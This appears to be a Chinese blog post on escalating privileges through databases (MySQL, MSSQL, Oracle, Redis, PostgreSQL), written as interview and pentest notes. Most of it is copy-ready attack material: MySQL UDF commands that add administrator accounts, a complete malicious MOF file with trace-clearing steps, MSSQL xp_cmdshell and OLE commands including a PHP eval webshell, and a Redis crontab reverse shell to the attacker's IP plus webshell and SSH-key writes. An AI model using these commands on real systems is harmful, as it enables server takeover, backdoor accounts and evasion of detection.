新年第一更!祝各位师傅们新年快乐
之前说了windows系统提权和Linux系统提权,然后当时篇幅原因没说第三方提权,那么今天就来整理一下常见的第三方提权。。。。。。中的数据库提权的小知识(其他的第三方提权实在太多且杂乱,没想好怎么总结,就不给自己增加工作量了,以后再说吧;此篇随笔还是一篇侧重思路的总结,而不是复现操作,会说一下值得注意的点,具体复现操作请自行参考其他师傅的文章)
前篇指路链接:
https://www.cnblogs.com/lcxblogs/p/14163338.html
https://www.cnblogs.com/lcxblogs/p/13983754.html
0x00 前言
我有一个朋友说面试的时候,面试官问他:小伙汁,你知道哪些提权方法啊?
他和我讲了他的翻车经历,于是我把完成此文这件事,提上日程了
当然,提权漏洞层出不穷(最近cve-2021-3156 sudo提权就比较火),第三方的软件、服务、插件等等在漫长的历史长河中,出现过的漏洞更是多如牛毛
本文仅仅是我,作为一个菜鸡,在前辈们的基础上,整理的一些常见or过去常见的部分数据库提权思路,形成全文
由于数据库本身限制,如今想要通过纯.数据库提权那是勉为其难,难上加难,强人所难,左右为难,很多方法在今天已经不合适了,没什么卵用
但是
还是得说说,因为总有人喜欢问是吧
0x01 MySQL
1.UDF提权
虽然。。。但是。。。这是个常常会被问到的小点
先明确一个概念:UDF(user defined function)即用户自定义函数,是mysql数据库功能的一种扩展,用户通过自定义函数来实现mysql中原本不方便实现的功能,添加新函数以便在mysql中调用
所以udf提权的思路就是:通过引入udf.dll文件, 再引入自定义函数,执行系统命令
于是就产生了几个问题:
如何引入udf.dll文件?要udf.dll文件引入到哪里?引入完了要干点啥?
想用udf提权是有前提条件的:
(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的libplugin文件夹下
(2)Mysql版本小于5.1版本udf.dll文件在Windows2003下放置于c:windowssystem32,在windows2000下放置于c:winntsystem32
(3)已经掌握的这个mysql数据库的账号,需要有mysql的操作权限(插入、删除),即我们需要获得mysql的root权限账号
(4)有可以将udf.dll写入到相应目录的权限
本小点UDF提权的所有内容均是在满足以上条件的前提下,讨论的
先说一下前提条件之root权限的问题
想获取root账号密码,可以尝试在目标站点目录中找找数据库配置文件(什么config、conn、data、sql之类命名的比较可疑,或者是什么CMS网站之类的存在固定命名方式)、爆破root(不一定就叫root,爱叫啥叫啥,权限最重要)密码(当然数据库不太可能允许从外部访问,所以想想办法从内部干他一炮)、找数据库文件.myd然后看看能不能解密出来。。。。。。
之后说说UDF提权的一些操作
《1》sqlmap UDF提权
最简单的:
python sqlmap.py -d "mysql://root:root@xxx.xxx.xxx.xxx:3306/cms" --os-shell
对应 "数据库类型://数据库账户:密码@ip:端口/数据库名称"
当然这是属于数据库允许这样连接时的情况,连不上也没用,从外部渗透,很多情况下是远程连接。。。
中途会提示选择数据库版本
最后在返回的os-shell中执行whoami,如果提权成功了,就能看到当前shell返回会说:“我是系统管理员权限”
或者,用sqlmap自带的udf.dll提权
看版本为64位
哦吼,拉闸,为NULL文件无法导入导出(新版本的mysql可能会有其他默认路径,不再是默认NULL),意味着sqlmap中自带的udf.dll文件通过数据库传不进去,而secure_file_priv必须是空才可以导入导出(secure_file_priv=“”)
Windows下需要改my.ini文件,使MySQL允许导入导出(如果你能改的话就改,改不了就此GG,后面不用看了,除非可以不走数据库而通过其他手段把udf.dll文件传进指定目录去)
如果能改,改过之后,找libplugin位置(有些情况下没有此目录需要自己创建)
然后找sqlmap中自带的编码后的udf.dll文件,大概在这个目录下(当然具体在哪需要按照具体目标环境啥的判断,我这个只是参考)
然后sqlmap有个cloak.py的脚本,可以用来解密这个编码后的dll文件,执行
成功后会生成解码后的dll文件(以dll为后缀的)
SELECT LOAD_FILE('xxxx目录下/lib_mysqludf_sys.dll') into DUMPFILE 路径
(参考上图这个路径D:phpstudyphpstudy_proExtensionsMySQL8.0.12libplugin)
SELECT LOAD_FILE('D:python-3.9.0sqlmapdataudfmysqlwindows64lib_mysqludf_sys.dll') into DUMPFILE 'D:phpstudyphpstudy_proExtensionsMySQL8.0.12libpluginudf.dll';
啊,如果不能写入,就是这样
为了演示,我偷懒直接把lib_mysqludf_sys.dll重命名为udf.dll,然后粘贴到D:phpstudyphpstudy_proExtensionsMySQL8.0.12libplugin中了,实际情况下不能通过数据库导入就得想想别的办法导入了
然后我在udf.dll允许的函数中创建了一个sys_exec的函数,即CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.dll';
(看一眼udf.dll中存在的可以创建的函数,这不是我瞎写的,里面确实有sys_exec)
可弹出计算机select sys_exec('calc');
或者sys_eval
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');
可见提权成功,这个是我本机的高权限用户,我就打码了
用完过河拆桥之
还可以这样利用:
select sys_eval('net user lcx 123456 /add & net localgroup administrators lcx /add'); 创建用户lcx 密码123456 加到系统管理员组
select sys_eval('netstat -an') into outfile 'C:/xxxx/xxxx/xxxx/test.txt'; 保存执行结果到某路径下的test.txt文件中
等等等等。。。。。。
我这里仅仅是举几个例子,实际应用以实际情况为准
《2》其他手工UDF提权
传大马 的干活,你懂的,很多大马有类似的提权、执行、导入导出功能,原理还是那个原理,操作略有不同
比如很多表哥用的那个
不展开了
udf提权也可以在Linux中搞一搞,思想一样,但是细节不一样,祝你好运
但是接下来介绍的mof提权就是纯windows下的东西了
2.mof提权
利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每隔一段时间(默认5s)都会用系统权限执行一次的特性,来写入cmd命令使其被带入以系统权限执行
使用MOF提权的前提是当前数据库账户可以复制文件到xxxxxSystem32wbemMOF目录下,即有读写权限,传不了就别想了,白费劲
使用条件和UDF提权差不多,而且更苛刻
《1》上传nullevt.mof提权
最常见的一种方法:
上传构造好的nullevt.mof文件到服务器上任意位置,名字任意,就叫nullevt.mof就行
通过mysql语句 select load_file(上传的那个nullevt.mof文件的路径) into dumpfile 'C:/Windows/System32/mof/nullevt.mof'
例如:select load_file("D:/phpstudy/WWW/nullevt.mof") into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof"
一个nullevt.mof文件长啥样?如图
为方便需要的老哥,我把内容放在这里供拷贝,具体自己改吧
#pragma namespace(“\\.\root\subscription”) instance of __EventFilter as $EventFilter { EventNamespace = “Root\Cimv2”; Name = “filtP2”; Query = “Select * From __InstanceModificationEvent “ “Where TargetInstance Isa ”Win32_LocalTime” “ “And TargetInstance.Second = 5”; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2”; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(”WScript.Shell”) WSH.run(”net.exe user xxx xxx /add”)“; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
红框里的地方就是我们可以利用的,经常可以使用如: net.exe user lcx 123456 /add 来添加一个用户lcx
自然也可以写别的例如: net localgroup administrators lcx /add 把lcx用户加到本地管理员组,变相提权实现不可告人的目的
但是你这循环创建用户,动静很大
于是:
net stop winmgmt
net user lcx /delete
cd到c:/windows/system32/wbem del repository
net start winmgmt
干完就跑
《2》其他手工MOF提权
传大马的干活*2
udf 与mof 提权在msf中也有相应的模块功能,参考https://www.cnblogs.com/-mo-/p/11970146.html
不说了
3.启动项提权
看看就好:https://blog.csdn.net/weixin_30263409/article/details/113160937
4.反弹端口提权
通过反弹端口获得system权限的cmdshell,其实也算一种 udf 提权吧
参考:https://xz.aliyun.com/t/246
还有一些不那么典型的提权如:
CVE-2012-2122 Mysql身份认证漏洞: https://blog.csdn.net/weixin_41924764/article/details/113101932
CVE-2016-6662 :https://www.secpulse.com/archives/51892.html
CVE-2016-6663、CVE-2016-6664:https://xz.aliyun.com/t/1122#toc-5
然后我把MariaDB也放这里了,比较出名的就这个CVE
CVE-2020-7221:https://paper.seebug.org/1127/
关于mysql提权的姿势 ,暂时说到这里
0x02 MSSQL
手头没有环境,只说思路,不演示了
1.xp_cmdshell
xp_cmdshell一个存储过程脚本,可执行操作系统的指令
这么危险的东西,能禁止都禁止了,新版本的SQLserver都默认禁止调用了
除非你有sa权限能修改sp_configure来开启xp_cmdshell
所以能用xp_cmdshell提权的前提是:
获得了sa权限账号密码然后有shell去执行命令(其实不仅是这里说到的,大多数都是这个思路,无论是传木马webshell还是外连数据库,反正得有shell(废话),不一一重复)
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure; 开启CMDshell ;关闭同理,这两句中的1改成0即可
exec master..xp_cmdshell "whoami"; 可见当前权限,正常来说是system权限
exec master..xp_cmdshell 'net user lcx 123456 /add';
exec master..xp_cmdshell 'net localgroup administrators lcx /add'; 新建用户名,把新用户提升到管理员权限
exec master..xp_cmdshell "echo ^<?php eval($_POST['cmd'])?^> > D:cmd.php" 当然也可以尝试写木马
除了xp_cmdshell之外还有很多可利用的存储过程
2.sp_oacreate
如果用不了xp_cmdshell提权,比方说这个存储过程啪地一下,没了,怎么搞
虽然说可以上传xplog70.dll进行恢复 :exec master.sys.sp_addextendedproc 'xp_cmdshell','D:xxxxxxxxxxxxxxxxplog70.dll';
但有没有其他思路呢
可以采用OLE(Object Linking and Embedding)的run方法来执行系统命令(也是新版本mssql禁用了)
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'ole automation procedures',1; (关闭把这条语句的1改成0,并在最后加上exec sp_configure 'show advanced options',0;reconfigure;)
reconfigure with override; 用这几条语句把组件打开了,新版mssql默认关闭
利用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中,我这里是执行了whoami,由于没有回显,我把结果放在1.txt中方便观察
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >D:1.txt';
怎么个断句?这么断句:
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output 用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >D:1.txt'; 用sp_oamethod 调用@shell对象中的Run方法,执行添加我的命令whoami,null是run方法的返回值,由于不需要用返回值,所以写null
(OLE存储过程有很多除了sp_oacreate、sp_oamethod之外,还有不少,剩下那些我也没啥研究,不胡说八道了,欢迎大佬补充)
自然也可以执行常规的喜闻乐见的创建用户加到管理员组的提权操作(注意不同操作系统版本可能执行新建用户名语句略有差异)
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user lcx 123456 /add';
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators lcx /add';
3.沙盒提权
首先用xp_regwrite这个存储过程对注册表进行写操作,开启沙盒模式
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode
然后利用sql语句添加新帐号,同时加入管理员组进行提权(注意不同操作系统版本可能执行新建用户名语句略有差异)
select * from openrowset('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user lcx 123456 /add")');
select * from openrowset('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators lcx /add")');
还有一些其他mssql提权姿势,比如JOB提权、映像劫持提权,我并没有用过,所以请参考:https://www.cnblogs.com/hzk001/p/12889944.html
0x03 Oracle
。。。好久不用oracle不记得密码了
于是:
sys
wangle as sysdba
关于Oracle提权,不晓得有没有支持新版本、更好的提权姿势,也不敢乱说,暂且列举几篇文章供参考:
https://www.cnblogs.com/-qing-/p/10768290.html#_label0
https://blog.csdn.net/qq_17204441/article/details/89484872
https://www.cnblogs.com/rebeyond/p/7928887.html
以及 一款工具Oracleshell
https://www.cnblogs.com/rebeyond/p/7928887.html
(发点牢骚,技术的更新实在是太快了,曾经的jsp也早被各种前端框架用前后端分离啥的,出重拳锤爆了)
0x04 Redis
关于redis提权,最常见的还是配置失误导致的未授权访问造成的提权
1.计划任务反弹shell
redis以root权限运行时可以写crontab来执行命令反弹shell
如果redis配置又没有密码登录,又关闭了保护模式(protected-mode),还没有绑定只允许本地IP可连接的话
那自己机器监听一个端口比如9999:nc -lvnp 9999
远程连接redis:redis-cli -h redis服务端IP
之后执行
set xx " * * * * * bash -i >& /dev/tcp/自己机器IP/9999 0>&1 "
config set dir /var/spool/cron/(默认写的crontab文件都在这个路径 )
config set dbfilename root
save
就会反弹回来一个目标机器root权限的shell,相当于提权了
演示:https://blog.csdn.net/qq_42094992/article/details/113449176
(上述命令不同操作系统不尽相同,有待测试,仅以centos为例)
2.往web目录写shell
当redis权限不高时,并且服务器开着web服务,
同时redis还有web目录写权限,则可以尝试往web路径写webshell
连上redis后,
config set dir /var/www/html/(此处路径不固定,为目标站点的物理路径)
config set dbfilename webshell.php
set x "<?php phpinfo();?>"(此处可以改成马子,连之)
save
然后用马子搞搞后续提权操作
3.写 ssh-key 公钥获取权限
如果redis使用root账号启动,且服务器开放了 SSH 服务,而且,允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
这种办法推荐的人比较多
本地生成ssh密钥(即id_rsa)
ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys (把公钥写进目标主机的/root/.ssh下,并且名称为 authorized_keys)
set x "公钥" (需要查看生成的公钥内容写在里面)
save
最后免密码登录目标机器
ssh -i id_rsa root@目标ip
此时是系统root权限
0x05 PostgreSQL
CVE-2019-9193:https://blog.csdn.net/blood_pupil/article/details/88795627
即新版msf中的multi/postgres/postgres_copy_from_program_cmd_exec这个模块,可用于postgresql提权
CVE-2018-1058:https://blog.csdn.net/zy15667076526/article/details/111824500
钓鱼。。。提权,也算一种提权吧
未经允许,禁止转载